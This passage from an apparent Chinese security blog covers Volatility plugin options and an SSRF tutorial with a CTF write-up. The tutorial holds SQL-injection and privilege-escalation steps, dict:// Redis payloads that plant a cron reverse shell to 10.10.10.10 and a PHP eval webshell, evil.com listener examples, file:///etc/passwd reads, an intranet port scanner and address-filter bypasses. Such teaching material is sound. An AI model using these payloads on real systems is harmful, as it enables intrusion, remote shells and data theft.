class="code"><pre><span class="line">Options:</span><br><span class="line">  -h, --help            list all available options and their default values.</span><br><span class="line">                        Default values may be set in the configuration file</span><br><span class="line">                        (/etc/volatilityrc)</span><br><span class="line">  --conf-file=/home/kali/.volatilityrc</span><br><span class="line">                        User based configuration file</span><br><span class="line">  -d, --debug           Debug volatility</span><br><span class="line">  --plugins=PLUGINS     Additional plugin directories to use (colon separated)</span><br><span class="line">  --info                Print information about all registered objects</span><br><span class="line">  --cache-directory=/home/kali/.cache/volatility</span><br><span class="line">                        Directory where cache files are stored</span><br><span class="line">  --cache               Use caching</span><br><span class="line">  --tz=TZ               Sets the (Olson) timezone for displaying timestamps</span><br><span class="line">                        using pytz (if installed) or tzset</span><br><span class="line">  -f FILENAME, --filename=FILENAME</span><br><span class="line">                        Filename to use when opening an image</span><br><span class="line">  --profile=WinXPSP2x86</span><br><span class="line">                        Name of the profile to load (use --info to see a list</span><br><span class="line">                        of supported profiles)</span><br><span class="line">  -l LOCATION, --location=LOCATION</span><br><span class="line">                        A URN location from which to load an address space</span><br><span class="line">  -w, --write           Enable write support</span><br><span class="line">  --dtb=DTB             DTB Address</span><br><span class="line">  --shift=SHIFT         Mac KASLR shift address</span><br><span class="line">  --output=text         Output in this format (support is module specific, see</span><br><span class="line">                        the Module Output Options below)</span><br><span class="line">  --output-file=OUTPUT_FILE</span><br><span class="line">                        Write output in this file</span><br><span class="line">  -v, --verbose         Verbose information</span><br><span class="line">  --physical_shift=PHYSICAL_SHIFT</span><br><span class="line">                        Linux kernel physical shift address</span><br><span class="line">  --virtual_shift=VIRTUAL_SHIFT</span><br><span class="line">                        Linux kernel virtual shift address</span><br><span class="line">  -g KDBG, --kdbg=KDBG  Specify a KDBG virtual address (Note: for 64-bit</span><br><span class="line">                        Windows 8 and above this is the address of</span><br><span class="line">                        KdCopyDataBlock)</span><br><span class="line">  --force               Force utilization of suspect profile</span><br><span class="line">  -k KPCR, --kpcr=KPCR  Specify a specific KPCR address</span><br><span class="line">  --cookie=COOKIE       Specify the address of nt!ObHeaderCookie (valid for</span><br><span class="line">                        Windows 10 only)</span><br><span class="line"></span><br><span class="line">        Supported Plugin Commands:</span><br><span class="line"></span><br><span class="line">                amcache         Print AmCache information</span><br><span class="line">                apihooks        Detect API hooks in process and kernel memory</span><br><span class="line">                atoms           Print session and window station atom tables</span><br><span class="line">                atomscan        Pool scanner for atom tables</span><br><span class="line">                auditpol        Prints out the Audit Policies from HKLM\SECURITY\Policy\PolAdtEv</span><br><span class="line">                bigpools        Dump the big page pools using BigPagePoolScanner</span><br><span class="line">                bioskbd         Reads the keyboard buffer from Real Mode memory</span><br><span class="line">                cachedump       Dumps cached domain hashes from memory</span><br><span class="line">                callbacks       Print system-wide notification routines</span><br><span class="line">                clipboard       Extract the contents of the windows clipboard</span><br><span class="line">                cmdline         Display process command-line arguments #显示命令行参数</span><br><span class="line">                cmdscan         Extract command history by scanning for _COMMAND_HISTORY  #提取命令行历史记录（_COMMAND_HISTORY）</span><br><span class="line">                connections     Print list of open connections [Windows XP and 2003 Only]</span><br><span class="line">                connscan        Pool scanner for tcp connections</span><br><span class="line">                consoles        Extract command history by scanning for _CONSOLE_INFORMATION #提取命令行历史记录扫描_CONSOLE_INFORMATION）</span><br><span class="line">                crashinfo       Dump crash-dump information</span><br><span class="line">                deskscan        Poolscaner for tagDESKTOP (desktops)</span><br><span class="line">                devicetree      Show device tree</span><br><span class="line">                dlldump         Dump DLLs from a process address space</span><br><span class="line">                dlllist         Print list of loaded dlls for each process #打印进程的动态链接库列表</span><br><span class="line">                driverirp       Driver IRP hook detection</span><br><span class="line">                drivermodule    Associate driver objects to kernel modules</span><br><span class="line">                driverscan      Pool scanner for driver objects</span><br><span class="line">                dumpcerts       Dump RSA private and public SSL keys</span><br><span class="line">                dumpfiles       Extract memory mapped and cached files</span><br><span class="line">                dumpregistry    Dumps registry files out to disk </span><br><span class="line">                editbox         Displays information about Edit controls. (Listbox experimental.)</span><br><span class="line">                envars          Display process environment variables</span><br><span class="line">                eventhooks      Print details on windows event hooks</span><br><span class="line">                evtlogs         Extract Windows Event Logs (XP/2003 only)</span><br><span class="line">                filescan        Pool scanner for file objects #扫描文件对象信息</span><br><span class="line">                gahti           Dump the USER handle type information</span><br><span class="line">                gditimers       Print installed GDI timers and callbacks</span><br><span class="line">                gdt             Display Global Descriptor Table</span><br><span class="line">                getservicesids  Get the names of services in the Registry and return Calculated SID</span><br><span class="line">                getsids         Print the SIDs owning each process</span><br><span class="line">                handles         Print list of open handles for each process</span><br><span class="line">                hashdump        Dumps passwords hashes (LM/NTLM) from memory #转储内存中的Windows账号密码哈希</span><br><span class="line">                hibinfo         Dump hibernation file information</span><br><span class="line">                hivedump        Prints out a hive #转储注册表配置单元信息</span><br><span class="line">                hivelist        Print list of registry hives. #打印注册表配置单元列表</span><br><span class="line">                hivescan        Pool scanner for registry hives</span><br><span class="line">                hpakextract     Extract physical memory from an HPAK file</span><br><span class="line">                hpakinfo        Info on an HPAK file</span><br><span class="line">                idt             Display Interrupt Descriptor Table</span><br><span class="line">                iehistory       Reconstruct Internet Explorer cache / history #重建IE缓存及访问历史记录</span><br><span class="line">                imagecopy       Copies a physical address space out as a raw DD image</span><br><span class="line">                imageinfo       Identify information for the image  #查看镜像信息</span><br><span class="line">                impscan         Scan for calls to imported functions</span><br><span class="line">                joblinks        Print process job link information</span><br><span class="line">                kdbgscan        Search for and dump potential KDBG values</span><br><span class="line">                kpcrscan        Search for and dump potential KPCR values</span><br><span class="line">                ldrmodules      Detect unlinked DLLs</span><br><span class="line">                lsadump         Dump (decrypted) LSA secrets from the registry</span><br><span class="line">                machoinfo       Dump Mach-O file format information</span><br><span class="line">                malfind         Find hidden and injected code</span><br><span class="line">                mbrparser       Scans for and parses potential Master Boot Records (MBRs) </span><br><span class="line">                memdump         Dump the addressable memory for a process #转储进程的可寻址内存</span><br><span class="line">                memmap          Print the memory map</span><br><span class="line">                messagehooks    List desktop and thread window message hooks</span><br><span class="line">                mftparser       Scans for and parses potential MFT entries </span><br><span class="line">                moddump         Dump a kernel driver to an executable file sample</span><br><span class="line">                modscan         Pool scanner for kernel modules</span><br><span class="line">                modules         Print list of loaded modules</span><br><span class="line">                multiscan       Scan for various objects at once</span><br><span class="line">                mutantscan      Pool scanner for mutex objects</span><br><span class="line">                notepad         List currently displayed notepad text</span><br><span class="line">   netscan #扫描网络情况</span><br><span class="line">   objtypescan     Scan for Windows object type objects</span><br><span class="line">                patcher         Patches memory based on page scans</span><br><span class="line">                poolpeek        Configurable pool scanner plugin</span><br><span class="line">                printkey        Print a registry key, and its subkeys and values #打印注册表项及其子项和值</span><br><span class="line">                privs           Display process privileges</span><br><span class="line">                procdump        Dump a process to an executable file sample # 进程转储到一个可执行文件示例</span><br><span class="line">                pslist          Print all running processes by following the EPROCESS lists  #打印进程</span><br><span class="line">                psscan          Pool scanner for process objects #进程对象池扫描</span><br><span class="line">                pstree          Print process list as a tree #以树型方式打印进程列表</span><br><span class="line">                psxview         Find hidden processes with various process listings #查找带有隐藏进程的所有进程列表</span><br><span class="line">                qemuinfo        Dump Qemu information</span><br><span class="line">                raw2dmp         Converts a physical memory sample to a windbg crash dump</span><br><span class="line">                screenshot      Save a pseudo-screenshot based on GDI windows</span><br><span class="line">                servicediff     List Windows services (ala Plugx)</span><br><span class="line">                sessions        List details on _MM_SESSION_SPACE (user logon sessions)</span><br><span class="line">                shellbags       Prints ShellBags info</span><br><span class="line">                shimcache       Parses the Application Compatibility Shim Cache registry key</span><br><span class="line">                shutdowntime    Print ShutdownTime of machine from registry</span><br><span class="line">                sockets         Print list of open sockets</span><br><span class="line">                sockscan        Pool scanner for tcp socket objects</span><br><span class="line">                ssdt            Display SSDT entries</span><br><span class="line">                strings         Match physical offsets to virtual addresses (may take a while, VERY verbose)</span><br><span class="line">                svcscan         Scan for Windows services</span><br><span class="line">                symlinkscan     Pool scanner for symlink objects</span><br><span class="line">                thrdscan        Pool scanner for thread objects</span><br><span class="line">                threads         Investigate _ETHREAD and _KTHREADs</span><br><span class="line">                timeliner       Creates a timeline from various artifacts in memory </span><br><span class="line">                timers          Print kernel timers and associated module DPCs</span><br><span class="line">                truecryptmaster Recover TrueCrypt 7.1a Master Keys</span><br><span class="line">                truecryptpassphrase     TrueCrypt Cached Passphrase Finder</span><br><span class="line">                truecryptsummary        TrueCrypt Summary</span><br><span class="line">                unloadedmodules Print list of unloaded modules</span><br><span class="line">                userassist      Print userassist registry keys and information</span><br><span class="line">                userhandles     Dump the USER handle tables</span><br><span class="line">                vaddump         Dumps out the vad sections to a file</span><br><span class="line">                vadinfo         Dump the VAD info</span><br><span class="line">                vadtree         Walk the VAD tree and display in tree format</span><br><span class="line">                vadwalk         Walk the VAD tree</span><br><span class="line">                vboxinfo        Dump virtualbox information</span><br><span class="line">                verinfo         Prints out the version information from PE images</span><br><span class="line">                vmwareinfo      Dump VMware VMSS/VMSN information</span><br><span class="line">                volshell        Shell in the memory image</span><br><span class="line">                windows         Print Desktop Windows (verbose details)</span><br><span class="line">                wintree         Print Z-Order Desktop Windows Tree</span><br><span class="line">                wndscan         Pool scanner for window stations</span><br><span class="line">                yarascan        Scan process or kernel memory with Yara signatures</span><br></pre></td></tr></table></figure></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;volatility&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#volatility&quot;&gt;#&lt;/a&gt; Volatility&lt;/h1&gt;
&lt;h2 id=&quot;先以otterctf为例&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot;</summary>
      
    
    
    
    <category term="Misc" scheme="http://example.com/categories/Misc/"/>
    
    
  </entry>
  
  <entry>
    <title>SSRF</title>
    <link href="http://example.com/2024/04/22/SSRF/"/>
    <id>http://example.com/2024/04/22/SSRF/</id>
    <published>2024-04-22T13:56:10.000Z</published>
    <updated>2024-10-09T15:28:34.113Z</updated>
    
    <content type="html"><![CDATA[<h1 id="ssrf"><a class="markdownIt-Anchor" href="#ssrf">#</a> SSRF</h1><h2 id="dasctf-x-gfctf-2024-easysignin"><a class="markdownIt-Anchor" href="#dasctf-x-gfctf-2024-easysignin">#</a> DASCTF X GFCTF 2024 | EasySignin</h2><p>首先复现一道最近比赛遇到的一道题</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/22/IWw2RAmLtjMisFH.png" alt="image.png"></p><p>经典登陆界面开局，先尝试 admin 123456，密码错误，注册一个 admin1 123456，登上去之后看好康的照片，不给看，权限不够，应该还是需要登录 admin，发现有一个更改密码的选项，可以利用一下</p><p>这里有两种方式：</p><p>1. 利用 sql 注入</p><p>注册时用户名为 <code>admin&quot;#</code> 双引号会闭合前面的引号，# 注释掉后面的内容，此时登录之后更改密码实际会更改 <code>admin</code>  的密码，在登陆 admin 就可以看了</p><p>2.burp 抓包</p><p>修改密码利用 bp 抓包</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/22/RuP9V7keCf3Kb8Y.png" alt="image.png"></p><p>发现会显示 username，且这里未验证 session 中的 username 和输入的 username 是否相同，那这里就存在逻辑漏洞了，可以尝试将 username 赋值为 admin，即可以越权修改 admin 的密码，修改密码后以 admin 密码登录。</p><p>登录到 admin 之后查看好康的照片</p><p><img lazyload src="/images/loading.svg" data-src="https://img2.imgtp.com/2024/04/22/1YukL6P4.png" alt="1713795160605.png"></p><p>发现直接显示了文件的地址，下面就要用到 SSRF 的知识了，测试一下，过滤掉了 file、dict 等几个协议，但没过滤 gopher，可以用它探测服务和端口，探测到 3306 端口开放了 mysql 服务，这里 root 的密码为空，于是我们可以利用 gopher 协议去攻击 mysql。</p><p>直接利用 Gopherus 查看根目录下的 flag 文件</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/22/Fpa2BKjsRrZeNw8.png" alt="image.png"></p><p>二次 url 编码，bp 抓包</p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/22/DNrAxPlFmZ58GHu.png" alt="image.png"></p><p>base64 解码得到 flag： <code>DASCTF&#123;39302405-b602-4b99-8101-66cd65424bbe&#125;</code></p><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/22/kgFEKOrs6Q7NxWP.png" alt="image.png"></p><h2 id="ssrf-2"><a class="markdownIt-Anchor" href="#ssrf-2">#</a> SSRF</h2><h3 id="ssrf是什么"><a class="markdownIt-Anchor" href="#ssrf是什么">#</a> SSRF 是什么？</h3><p>SSRF (Server-Side Request Forgery: 服务器端请求伪造) 是一种由攻击者构造形成由<strong>服务端</strong>发起请求的一个安全漏洞。</p><p>SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。</p><p>由于存在防火墙的防护，导致攻击者无法直接入侵内网；这时攻击者可以以服务器为跳板发起一些网络请求，从而攻击内网的应用及获取内网数据。</p><p>一般情况下，SSRF 攻击的目标是<strong>从外网无法访问的内部系统</strong>。（正是因为它是由服务端发起的，所以它能够请求到与它相连而与外网隔离的内部系统）</p><p>SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。</p><p>比如，黑客操作服务端从指定 URL 地址获取网页文本内容，加载指定地址的图片，下载等等。利用的是服务端的请求伪造。ssrf 是利用存在缺陷的 web 应用作为代理攻击远程和本地的服务器</p><p>主要攻击方式如下所示。</p><ul><li>对外网、服务器所在内网、本地进行端口扫描，获取一些服务的 banner 信息。</li><li>攻击运行在内网或本地的应用程序。</li><li>对内网 Web 应用进行指纹识别，识别企业内部的资产信息。</li><li>攻击内外网的 Web 应用，主要是使用 HTTP GET 请求就可以实现的攻击 (比如 struts2、SQli 等)。</li><li>利用 file 协议读取本地文件等。</li></ul><p><code>http://payloads.net/ssrf.php?url=192.168.1.10:3306</code></p><p><code>http://payloads.net/ssrf.php?url=file:///c:/windows/win.ini</code></p><p>漏洞产生相关函数：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">file_get_contents()、fsockopen()、curl_exec()、fopen()、readfile()</span><br></pre></td></tr></table></figure></div><p><a class="link" href="https://www.cnblogs.com/miruier/p/13907150.html">SSRF 漏洞（原理、挖掘点、漏洞利用、修复建议） - Saint_Michael - 博客园 (cnblogs.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="ssrf与csrf的区别"><a class="markdownIt-Anchor" href="#ssrf与csrf的区别">#</a> SSRF 与 CSRF 的区别</h3><p>​    CSRF 是服务器端没有对用户提交的数据进行随机值校验，且对 http 请求包内的 refer 字段校验不严，导致攻击者可以利用用户的 cookie 信息伪造用户请求发送至服务器；</p><p>​    SSRF 是服务器对用户提供的可控 URL 过于信任，没有对攻击者提供的 URL 进行地址限制和足够的检测，导致攻击者可以以此为跳板攻击内网或者其它服务器。</p><h3 id="ssrf中url的伪协议"><a class="markdownIt-Anchor" href="#ssrf中url的伪协议">#</a> SSRF 中 URL 的伪协议</h3><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">file:/// 从文件系统中获取文件内容，如:file:///etc/passwd</span><br><span class="line">dict:// 字典服务器协议，访问字典资源，如:dict:///ip:6739/info：</span><br><span class="line">sftp:// SSH文件传输协议或安全文件传输协议</span><br><span class="line">ldap:// 轻量级目录访问协议</span><br><span class="line">tftp:// 简单文件传输协议</span><br><span class="line">gopher:// 分布式文档传递服务，可使用gopherus生成payload</span><br></pre></td></tr></table></figure></div><h4 id="1-file"><a class="markdownIt-Anchor" href="#1-file">#</a> 1、file</h4><p>这种 URL Schema 可以尝试从系统文件中获取文件</p><p><code>file://文件的绝对路径</code></p><blockquote><p><code>http://example.com/ssrf.php?url=file:///etc/passwd</code></p><p><code>http://example.com/ssrf.php?url=file:///C:/Windows/win.ini</code></p></blockquote><h4 id="2-dict"><a class="markdownIt-Anchor" href="#2-dict">#</a> 2、dict</h4><p>dict 协议一般常用来探测内网主机以及端口开放情况，既然能够探测端口，那么可以探测不同端口对应的服务的指纹信息。当然 dict 协议也可以用来执行一些服务的命令，如 redis</p><ul><li>内网主机探测</li><li>开放端口探测</li><li>端口服务指纹探测</li><li>执行命令</li></ul><p><code>ditc://ip:port</code></p><p><code>ditc://ip:port/命令</code></p><p>这种 URL Scheme 能够引用允许通过 DICT 协议使用的定义或单词列表：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/ssrf.php?dict://evil.com:1337/</span><br><span class="line">evil.com:$ nc -lvp 1337</span><br><span class="line">Connection from [192.168.0.12] port 1337[tcp/*]</span><br><span class="line">accepted (family 2, sport 31126)CLIENT libcurl 7.40.0</span><br></pre></td></tr></table></figure></div><h4 id="3-sftp"><a class="markdownIt-Anchor" href="#3-sftp">#</a> 3、sftp</h4><p>在这里，Sftp 代表 SSH 文件传输协议（SSH File Transfer Protocol），或安全文件传输协议（Secure File Transfer Protocol），这是一种与 SSH 打包在一起的单独协议，它运行在安全连接上，并以类似的方式进行工作。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">一、dict协议探测端口和服务指纹</span><br><span class="line">dict://127.0.0.1:22</span><br><span class="line">dict://172.22.10.10:3306</span><br><span class="line">dict://127.0.0.1:6379/info</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">二、dict协议攻击redis，写入定时任务，进行反弹shell</span><br><span class="line">centos系统定时任务的路径为：/var/spool/cron</span><br><span class="line">debian系统定时任务的路径为：/var/spool/cron/crontabs</span><br><span class="line"> </span><br><span class="line">dict://127.0.0.1:6379/config:set:dbfilename:root</span><br><span class="line">dict://127.0.0.1:6379/config:set:dir:/var/spool/cron</span><br><span class="line">dict://127.0.0.1:6379/set:test:&quot;\n\n*/1 * * * * /bin/bash -i &gt;&amp; /dev/tcp/10.10.10.10/1234 0&gt;&amp;1\n\n&quot;</span><br><span class="line">dict://127.0.0.1:6379/save</span><br><span class="line"> </span><br><span class="line">注意：若payload存在被转义或过滤的情况，可利用16进制写入内容</span><br><span class="line">dict://127.0.0.1:6379/set:test:&quot;\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n&quot;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">三、dict协议攻击redis，写入webshell</span><br><span class="line">dict://127.0.0.1:6379/config:set:dbfilename:test.php</span><br><span class="line">dict://127.0.0.1:6379/config:set:dir:/var/www/html</span><br><span class="line">dict://127.0.0.1:6379/set:test:&quot;\n\n&lt;?php @eval($_POST[x]);?&gt;\n\n&quot;</span><br><span class="line">dict://127.0.0.1:6379/save</span><br><span class="line"> </span><br><span class="line">若存在过滤， 则利用16进制内容写入：</span><br><span class="line">dict://127.0.0.1:6379/set:test:&quot;\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n&quot;</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">四、dict协议攻击redis，写入ssh公钥</span><br><span class="line">操作和写入定时任务相似</span><br></pre></td></tr></table></figure></div><h4 id="4-gopher协议"><a class="markdownIt-Anchor" href="#4-gopher协议">#</a> 4、gopher 协议</h4><p>上面官方的说明了一下 gopher 协议介绍，具体如何在 ssrf 中使用呢？</p><p>gopher 协议在 ssrf 的利用中一般用来攻击 redis，mysql，fastcgi，smtp 等服务。</p><p>gopher 协议数据格式：</p><p><code>gopher://ip:port/_TCP/IP数据流</code></p><p>注意：</p><blockquote><p>1.gopher 协议数据流中，url 编码使用 %0d%0a 替换字符串中的回车换行<br> 2. 数据流末尾使用 %0d%0a 代表消息结束</p></blockquote><h4 id="5-ldap或ldaps-或ldapi"><a class="markdownIt-Anchor" href="#5-ldap或ldaps-或ldapi">#</a> 5、ldap:// 或 ldaps:// 或 ldapi://</h4><p>LDAP 代表轻量级目录访问协议。它是 IP 网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit</span><br><span class="line">http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit</span><br><span class="line">http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit</span><br></pre></td></tr></table></figure></div><h4 id="6-tftp"><a class="markdownIt-Anchor" href="#6-tftp">#</a> 6、tftp://</h4><p>TFTP（Trivial File Transfer Protocol, 简单文件传输协议）是一种简单的基于 lockstep 机制的文件传输协议，它允许客户端从远程主机获取文件或将文件上传至远程主机。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET</span><br><span class="line">evil.com:# nc -lvup 1337</span><br><span class="line">Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3</span><br></pre></td></tr></table></figure></div><h3 id="探测内网"><a class="markdownIt-Anchor" href="#探测内网">#</a> 探测内网</h3><p>ssrf 最常见的就是探测内网，如果找到了内网 IP 的网段，可以尝试用暴力破解去探测内网的 IP，下面给出几种常见的探测方法。</p><ul><li>脚本</li></ul><p>这里贴一个通用的 python 脚本</p><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line">ports = [<span class="string">&#x27;80&#x27;</span>,<span class="string">&#x27;6379&#x27;</span>,<span class="string">&#x27;3306&#x27;</span>,<span class="string">&#x27;8080&#x27;</span>,<span class="string">&#x27;8000&#x27;</span>]</span><br><span class="line">session = requests.Session();</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">255</span>):</span><br><span class="line"> ip = <span class="string">&#x27;192.168.0.%d&#x27;</span> % i <span class="comment">#内网ip地址</span></span><br><span class="line"> <span class="keyword">for</span> port <span class="keyword">in</span> ports:</span><br><span class="line">  url = <span class="string">&#x27;http://ip/?url=http://%s:%s&#x27;</span> %(ip,port)</span><br><span class="line">  <span class="keyword">try</span>:</span><br><span class="line">   res = session.get(url,timeout=<span class="number">3</span>)</span><br><span class="line">   <span class="keyword">if</span> <span class="built_in">len</span>(res.text) != <span class="number">0</span> :    <span class="comment">#这里长度根据实际情况改</span></span><br><span class="line">    <span class="built_in">print</span>(ip,port,<span class="string">&#x27;is open&#x27;</span>)</span><br><span class="line">  <span class="keyword">except</span>:</span><br><span class="line">   <span class="keyword">continue</span></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;Done&#x27;</span>)</span><br></pre></td></tr></table></figure></div><p>这里写的是爆破指定的一些端口和 IP 的 D 段，注意的是有些题目会给出端口的范围，就可以把 ports 改为 <code>range()</code>  指定为一定的范围，然后返回的长度 <code>len(res.text)</code>  要先自己测一下。</p><ul><li>burpsuite</li></ul><p>可以选择用 burpsuite 软件中 Intruder 去爆破</p><ul><li>nmap 工具</li></ul><p>扫描目标开放端口，直接用 nmap 一把梭。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nmap -sV ip</span><br><span class="line">nmap -sV ip -p6379 //指定6379端口扫描</span><br></pre></td></tr></table></figure></div><h3 id="bypass"><a class="markdownIt-Anchor" href="#bypass">#</a> Bypass</h3><p>经常会有题目 ban 掉 127.0.0.1 这个网址，需要进行绕过</p><h4 id="xipio"><a class="markdownIt-Anchor" href="#xipio">#</a> <a class="link" href="http://xip.io">xip.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></h4><p>有一个网站地址是：<a class="link" href="http://xip.io">xip.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，当访问这个服务的任意子域名的时候，都会重定向到这个子域名，举个例子：</p><p>当我们访问： <code>http://127.0.0.1.xip.io/1.php</code> ，实际上访问的是 <code>http://127.0.0.1/1.php</code> 。</p><p><a class="link" href="http://xn--nip-ve1en80a0uy063a0hj9o1bga.io">像这种网址还有 nip.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>，<a class="link" href="http://sslip.io">sslip.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a>。</p><p>如果 php 后端只是用 parse_url 函数中的 host 参数判断是否等于 127.0.0.1，就可以用这种方法绕过，但是如果是检查是否存在关键字 127.0.0.1，这种方法就不可行了</p><h4 id="短地址绕过"><a class="markdownIt-Anchor" href="#短地址绕过">#</a> 短地址绕过</h4><p><img lazyload src="/images/loading.svg" data-src="https://s2.loli.net/2024/04/23/Pjbm4EWVKTFqkgp.png" alt="image.png"></p><p>此时直接用 <code>http://z6b.cn/yPqiU</code>  就会 302 跳转绕过 WAF</p><h4 id="进制转换"><a class="markdownIt-Anchor" href="#进制转换">#</a> 进制转换</h4><p>可以使用一些不同的进制替代 ip 地址，从而绕过 WAF，</p><p>贴一个进制转换的 php 脚本</p><div class="highlight-container" data-rel="Php"><figure class="iseeu highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="variable">$ip</span> = <span class="string">&#x27;127.0.0.1&#x27;</span>;</span><br><span class="line"><span class="variable">$ip</span> = <span class="title function_ invoke__">explode</span>(<span class="string">&#x27;.&#x27;</span>,<span class="variable">$ip</span>);</span><br><span class="line"><span class="variable">$r</span> = (<span class="variable">$ip</span>[<span class="number">0</span>] &lt;&lt; <span class="number">24</span>) | (<span class="variable">$ip</span>[<span class="number">1</span>] &lt;&lt; <span class="number">16</span>) | (<span class="variable">$ip</span>[<span class="number">2</span>] &lt;&lt; <span class="number">8</span>) | <span class="variable">$ip</span>[<span class="number">3</span>] ;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$r</span> &lt; <span class="number">0</span>) &#123;</span><br><span class="line">    <span class="variable">$r</span> += <span class="number">4294967296</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;十进制:&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="variable">$r</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;八进制:&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">decoct</span>(<span class="variable">$r</span>);</span><br><span class="line"><span class="keyword">echo</span> <span class="string">&quot;十六进制:&quot;</span>;</span><br><span class="line"><span class="keyword">echo</span> <span class="title function_ invoke__">dechex</span>(<span class="variable">$r</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure></div><p>注意八进制 ip 前要加上一个 0，其中八进制前面的 0 可以为多个，十六进制前要加上一个 0x。</p><p>127.0.0.1：</p><blockquote><p>八进制：0177.0.0.1</p><p>十六进制：0x7f.0.0.1</p><p>十进制：2130706433</p></blockquote><h4 id="利用dns解析"><a class="markdownIt-Anchor" href="#利用dns解析">#</a> 利用 DNS 解析</h4><p>如果你自己有域名的话，可以在域名上设置 A 记录，指向 127.0.0.1。</p><h4 id="绕过"><a class="markdownIt-Anchor" href="#绕过">#</a> @绕过</h4><p><code>http://www.aaa.com@www.bbb.com@www.ccc.com</code> 